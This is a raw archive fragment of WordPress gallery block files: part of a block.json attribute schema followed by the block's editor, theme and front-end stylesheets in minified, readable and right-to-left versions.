"imageCrop": { "type": "boolean", "default": true }, "linkTo": { "type": "string" }, "sizeSlug": { "type": "string", "default": "large" } }, "supports": { "anchor": true, "align": true }, "editorStyle": "wp-block-gallery-editor", "style": "wp-block-gallery" } blocks/gallery/editor.min.css000064400000006366151202620300012244 0ustar00figure.wp-block-gallery{display:block}figure.wp-block-gallery>.blocks-gallery-caption{flex:0 0 100%}figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}figure.wp-block-gallery .wp-block-image .components-notice.is-error{display:block}figure.wp-block-gallery .wp-block-image .components-notice__content{margin:4px 0}figure.wp-block-gallery .wp-block-image .components-notice__dismiss{position:absolute;right:5px;top:0}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery .block-editor-media-placeholder{margin:0}figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{display:flex}figure.wp-block-gallery .block-editor-media-placeholder figcaption{z-index:2}figure.wp-block-gallery .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.gallery-settings-buttons .components-button:first-child{margin-right:8px}.gallery-image-sizes .components-base-control__label{display:block;margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 8px 0 4px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid transparent;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{background:#fff;border:1px solid #1e1e1e;border-radius:2px;display:none;margin:8px;position:absolute;top:-2px;transition:box-shadow .2s ease-out;z-index:20}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-delay:0s;transition-duration:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 .7px 1px rgba(0,0,0,.1),0 1.2px 1.7px -.2px rgba(0,0,0,.1),0 2.3px 3.3px -.5px rgba(0,0,0,.1)}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{height:inherit;padding:0;width:inherit}}.block-library-gallery-item__inline-menu.is-left{left:-2px}.block-library-gallery-item__inline-menu.is-right{right:-2px}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}blocks/gallery/style-rtl.min.css000064400000033420151202620300012704 0ustar00.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 0 1em 1em;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-left:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-left:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-left:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-left:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-left:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-left:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-left:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);bottom:0;box-sizing:border-box;color:#fff;font-size:13px;margin-bottom:0;max-height:60%;overflow:auto;padding:0 8px 8px;position:absolute;right:0;text-align:center;width:100%}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}blocks/gallery/theme.css000064400000000226151202620300011263 0ustar00.blocks-gallery-caption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .blocks-gallery-caption{ color:hsla(0,0%,100%,.65); }blocks/gallery/theme-rtl.min.css000064400000000205151202620300012641 0ustar00.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}blocks/gallery/editor.css000064400000007120151202620300011447 0ustar00figure.wp-block-gallery{ display:block; } figure.wp-block-gallery>.blocks-gallery-caption{ flex:0 0 100%; } figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{ flex-basis:100%; } figure.wp-block-gallery .wp-block-image .components-notice.is-error{ display:block; } figure.wp-block-gallery .wp-block-image .components-notice__content{ margin:4px 0; } figure.wp-block-gallery .wp-block-image .components-notice__dismiss{ position:absolute; right:5px; top:0; } figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{ display:none; } figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{ margin-bottom:0; } figure.wp-block-gallery .block-editor-media-placeholder{ margin:0; } figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{ display:flex; } figure.wp-block-gallery .block-editor-media-placeholder figcaption{ z-index:2; } figure.wp-block-gallery .components-spinner{ left:50%; margin-left:-9px; margin-top:-9px; position:absolute; top:50%; } .gallery-settings-buttons .components-button:first-child{ margin-right:8px; } .gallery-image-sizes .components-base-control__label{ display:block; margin-bottom:4px; } .gallery-image-sizes .gallery-image-sizes__loading{ align-items:center; color:#757575; display:flex; font-size:12px; } .gallery-image-sizes .components-spinner{ margin:0 8px 0 4px; } .blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{ outline:none; } .blocks-gallery-item figure.is-selected:before{ bottom:0; box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset; content:""; left:0; outline:2px solid transparent; pointer-events:none; position:absolute; right:0; top:0; z-index:1; } .blocks-gallery-item figure.is-transient img{ opacity:.3; } .blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{ display:inline-flex; } .blocks-gallery-item .block-editor-media-placeholder{ height:100%; margin:0; } .blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{ display:flex; } .block-library-gallery-item__inline-menu{ background:#fff; border:1px solid #1e1e1e; border-radius:2px; display:none; margin:8px; position:absolute; top:-2px; transition:box-shadow .2s ease-out; z-index:20; } @media (prefers-reduced-motion:reduce){ .block-library-gallery-item__inline-menu{ transition-delay:0s; transition-duration:0s; } } .block-library-gallery-item__inline-menu:hover{ box-shadow:0 .7px 1px rgba(0,0,0,.1),0 1.2px 1.7px -.2px rgba(0,0,0,.1),0 2.3px 3.3px -.5px rgba(0,0,0,.1); } @media (min-width:600px){ .columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{ padding:2px; } } .block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){ border:none; box-shadow:none; } @media (min-width:600px){ .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{ height:inherit; padding:0; width:inherit; } } .block-library-gallery-item__inline-menu.is-left{ left:-2px; } .block-library-gallery-item__inline-menu.is-right{ right:-2px; } .wp-block-gallery ul.blocks-gallery-grid{ margin:0; padding:0; } @media (min-width:600px){ .wp-block-update-gallery-modal{ max-width:480px; } } .wp-block-update-gallery-modal-buttons{ display:flex; gap:12px; justify-content:flex-end; }blocks/gallery/theme.min.css000064400000000205151202620300012042 0ustar00.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}blocks/gallery/style.min.css000064400000033431151202620300012107 0ustar00.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-right:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-right:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-right:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-right:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-right:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-right:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-right:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item 